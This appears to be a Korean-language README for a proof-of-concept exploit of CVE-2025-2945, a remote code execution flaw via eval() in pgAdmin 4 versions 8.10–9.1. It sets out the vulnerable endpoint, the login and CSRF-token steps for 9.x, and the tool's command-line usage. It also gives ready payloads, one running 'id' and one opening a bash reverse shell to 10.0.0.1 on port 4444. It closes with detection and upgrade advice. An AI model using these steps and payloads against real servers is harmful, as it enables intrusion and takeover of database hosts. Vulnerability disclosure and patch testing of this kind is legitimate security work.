
pgAdmin 4 (8.10–9.1)에서 쿼리 도구의 eval() 삽입을 통한 인증된 RCE. pgAdmin 9.x 인증 변경 사항에 대한 호환성 수정이 포함된 업데이트된 PoC입니다.
CVE-2025-2945에 대한 개념 증명, pgAdmin 4의 심각한 원격 코드 실행 취약점입니다.
영향받는 버전: 8.10부터 9.1까지
수정된 버전: 9.2 (2025년 4월 4일 출시)
CVSS v3.1: 9.9 (심각)
pgAdmin 4 쿼리 도구는 query_commited 매개변수를 받아서 이를 Python 내장 eval()에 직접 전달하는 엔드포인트를 노출합니다. 인증된 공격자는 이 매개변수를 통해 임의의 Python 코드를 제출하여 pgAdmin 서비스 계정으로 서버 측에서 실행할 수 있습니다.
취약한 엔드포인트는 다음과 같습니다:
POST /sqleditor/query_tool/download/<trans_id>
JSON 본문의 query_commited 필드는 서버에서 Python 코드로 평가됩니다.
pgAdmin 4 버전 9.2 이전에서는 쿼리 도구 다운로드 핸들러가 사용자 입력에 대해 eval()을 호출합니다:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
입력 검증, 샌드박싱 또는 허용 목록이 적용되지 않습니다. 유효한 Python 표현식은 pgAdmin 프로세스의 권한으로 실행됩니다.
/authenticate/login에 POST하여 세션 쿠키와 CSRF 토큰을 획득/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did>에 POST하여 쿼리 도구 세션 설정/sqleditor/get_server_connection/<sgid>/<sid>에 GET 요청, data.status == true를 반환할 때까지{"query_commited": "<python payload>"}를 본문으로 /sqleditor/query_tool/download/<trans_id>에 POST, 실행 확인을 위해 500 응답 수신이전 pgAdmin 버전은 CSRF 토큰을 숨겨진 <input> 필드나 쿠키에 포함했습니다. 9.x 버전은 React SPA 아키텍처로 전환되어 /login 페이지의 window.renderSecurityPage() 호출 내부에 JSON으로 토큰을 포함합니다:
"csrfToken": "<token value>"
토큰은 세션 범위(Flask-WTF / itsdangerous)를 가지므로 초기 GET /login에서 얻은 토큰은 전체 세션 동안 유효하며 모든 후속 API 호출에 재사용할 수 있습니다.
pgAdmin 9.x는 로그인 경로를 분리했습니다:
GET /login — 로그인 페이지 렌더링 (CSRF 토큰 포함)POST /authenticate/login — 자격 증명 처리/login에 직접 POST하는 이전 PoC는 9.x 인스턴스에서 404 또는 405 응답을 받습니다.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | 설명 |
|---|---|
--rhost | 대상 호스트 이름 또는 IP (스키마 없음) |
--rport | 대상 포트 (기본값: 80) |
--username | pgAdmin 로그인 이메일 |
--password | pgAdmin 로그인 비밀번호 |
--db-user | PostgreSQL 사용자 이름 |
--db-pass | PostgreSQL 비밀번호 |
--db-name | 데이터베이스 이름 |
--payload | 서버에서 평가할 Python 표현식 |
--max-server-id | 조사할 최대 서버 ID (기본값: 10) |
명령 실행:
--payload "__import__('os').system('id')"
리버스 셸:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/에서 예상치 못한 HTTP 500 응답pgAdmin 4 버전 9.2 이상으로 업그레이드하십시오.
이 저장소는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하고 있거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.